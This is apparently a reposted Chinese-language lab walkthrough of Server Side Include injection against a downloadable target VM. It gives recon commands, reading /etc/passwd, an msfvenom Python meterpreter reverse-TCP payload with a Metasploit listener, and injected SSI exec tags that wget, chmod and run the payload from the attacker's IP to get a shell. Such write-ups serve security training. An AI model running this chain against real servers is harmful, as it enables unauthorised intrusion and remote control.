SSI漏洞注入原理

SSI(Server Side Include)，通常稱(chēng)為服務(wù)器端嵌入，是一種類(lèi)似于A(yíng)SP的基于服務(wù)器的網(wǎng)頁(yè)制作技術(shù)。SSI具有強(qiáng)大的功能，只要使用一條簡(jiǎn)單的SSI命令就可以實(shí)現(xiàn)整個(gè)網(wǎng)站的內(nèi)容更新，時(shí)間和日期的動(dòng)態(tài)顯示，以及執(zhí)行shell和CGI腳本程序等復(fù)雜的功能。

在很多場(chǎng)景中，用戶(hù)輸入的內(nèi)容可以顯示在頁(yè)面中，比如一個(gè)存在反射XSS漏洞的頁(yè)面，如果輸入的payload不是xss代碼而是ssi的標(biāo)簽，服務(wù)器又開(kāi)啟了ssi支持的話(huà)就會(huì)存在SSI漏洞。

準(zhǔn)備工作

靶機(jī)地址:
鏈接：https://pan.baidu.com/s/1MTunDny-m5eICXAS9P8ugA
提取碼：x3c2

漏洞復(fù)現(xiàn)過(guò)程

使用netdiscover發(fā)現(xiàn)存活主機(jī)

netdiscover -i eth0

使用nmap進(jìn)行服務(wù)探測(cè)

nmap -sV 172.20.10.8

• 發(fā)現(xiàn)服務(wù)器開(kāi)啟了apache服務(wù)
  

再使用nikto和dirb對(duì)目標(biāo)服務(wù)器進(jìn)行子目錄的信息挖掘

nikto -host http://172.20.10.8 dirb http://172.20.10.8

• 發(fā)現(xiàn)了index.shtml文件，可初步判斷存在ssi注入
  

• 使用dirb探測(cè)時(shí)發(fā)現(xiàn)了ssi的具體目錄，對(duì)各個(gè)目錄進(jìn)行登錄訪(fǎng)問(wèn)
  

• 在robots.txt文件中沒(méi)有發(fā)現(xiàn)任何有價(jià)值的信息
  

• 在index目錄和index.php頁(yè)面上發(fā)現(xiàn)了一個(gè)登錄網(wǎng)站和一些命令信息
  

• 訪(fǎng)問(wèn)index頁(yè)面
  

嘗試使用上述命令登錄網(wǎng)站后端獲取敏感信息

• 在繞過(guò)字符過(guò)濾時(shí)，發(fā)現(xiàn)能得到/etc/passwd文件的信息
  

嘗試用msfvenom生成shellcode對(duì)網(wǎng)站進(jìn)行漏洞注入

msfvenom -p python/meterpreter/reverse_tcp lhost=本機(jī)IP lport=4444 -f raw > /root/Desktop/shellcode.py

• 注意：因?yàn)樽⑷霑r(shí)要用到文件上傳，因此要開(kāi)啟apache服務(wù)才能注入成功，并將shellcode.py文件上傳到html文件目錄上

service apache2 start service apache2 status mv /root/Desktop/shellcode.py /var/www/html

打開(kāi)msfconsole框架，進(jìn)行漏洞利用并監(jiān)聽(tīng)

msfconsole use exploit/multi/handler set lhost 本機(jī)IP set payload python/meterpreter/reverse_tcp run

在http://靶機(jī)ip/index.php中利用post表單進(jìn)行shellcode的下載

• 在第一個(gè)輸入框中輸入任意值
• 第二個(gè)輸入框中執(zhí)行惡意命令

<!--#EEXEC cmd="wget http://本機(jī)IP/shellcode.py"> <!--#EEXEC cmd="chmod 777 shellcode.py"> <!--#EEXEC cmd="python shellcode.py">

• 反彈webshell成功
  
• 輸入以下代碼進(jìn)行終端優(yōu)化

shell python -c "import pty; pty.spawn('/bin/bash')" id;pwd

總結(jié)

以上是生活随笔為你收集整理的SSI漏洞注入的全部?jī)?nèi)容，希望文章能夠幫你解決所遇到的問(wèn)題。

如果覺(jué)得生活随笔網(wǎng)站內(nèi)容還不錯(cuò)，歡迎將生活随笔推薦給好友。